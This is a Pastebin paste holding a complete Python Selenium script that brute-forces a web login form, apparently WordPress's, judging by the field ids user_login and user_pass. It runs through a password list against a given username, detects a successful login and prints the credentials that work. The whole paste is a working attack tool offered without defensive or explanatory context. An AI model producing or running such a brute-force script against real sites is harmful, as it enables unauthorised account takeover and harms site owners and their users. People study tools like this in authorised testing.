Guest User

Untitled

a guest
Nov 27th, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.56 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. from selenium import webdriver
  4. from selenium.common.exceptions import NoSuchElementException
  5. from argparse import ArgumentParser
  6. from time import sleep
  7.  
  8. # handle CLI arguments
  9.  
  10. parser = ArgumentParser()
  11. parser.add_argument("--url", required=True)
  12. parser.add_argument("-u", "--username", required=True)
  13. parser.add_argument("-p", "--passwordFile", required=True)
  14. args = parser.parse_args()
  15.  
  16. # load password list
  17. with open(args.passwordFile, "r") as f:
  18. passwords = f.read().splitlines()
  19.  
  20. # start chromedriver, navigate to login URL
  21. options = webdriver.ChromeOptions()
  22. browser = webdriver.Chrome(executable_path="/usr/bin/chromedriver", chrome_options=options)
  23. browser.get(args.url)
  24.  
  25. # iterate over all passwords
  26. for i, password in enumerate(passwords):
  27. outputLeft = "trying {}/{}: {}".format(i + 1, len(passwords), password)
  28. print(outputLeft, end="")
  29.  
  30. # enter username and password into their respective fields, submit
  31. #
  32. # enter username only on first login attempt because it stays
  33. # in the field in case of an unsuccessful login
  34. if i == 0:
  35. usernameField = browser.find_element_by_id("user_login")
  36. usernameField.send_keys(args.username)
  37.  
  38. passwordField = browser.find_element_by_id("user_pass")
  39. # wait until password field is cleared
  40. # at that point, a new password can be entered
  41. for j in range(1000):
  42. if passwordField.get_attribute("value") == "":
  43. break
  44. sleep(0.01)
  45.  
  46. if passwordField.get_attribute("value") != "":
  47. print("error: password field did not clear")
  48. exit(1)
  49.  
  50. passwordField.send_keys(password)
  51. passwordField.submit()
  52.  
  53. # evaluate if login was successful for 10 sec in 1 ms invervals
  54. loginFailed, loginSuccessful = False, False
  55. for j in range(1000):
  56.  
  57. # login was successful if password entry field no longer exists
  58. try:
  59. passwordField = browser.find_element_by_id("user_pass")
  60. except NoSuchElementException as e:
  61. loginSuccessful = True
  62. break
  63.  
  64. # login was unsuccessful if login_error element appeared on page
  65. try:
  66. passwordField = browser.find_element_by_id("login_error")
  67. loginFailed = True
  68. break
  69. except NoSuchElementException as e:
  70. pass
  71.  
  72. sleep(0.01)
  73.  
  74. # print whether this password was correct
  75. spacer = " " * (50 - len(outputLeft))
  76. if loginFailed and not loginSuccessful:
  77. print(spacer + "... failed")
  78. elif not loginFailed and loginSuccessful:
  79. print(spacer + "... SUCCESS!")
  80. print("username: {}, password: {}".format(args.username, password))
  81. exit(0)
  82. else:
  83. print("error: invalid state of webpage")
  84. exit(1)
Add Comment
Please, Sign In to add comment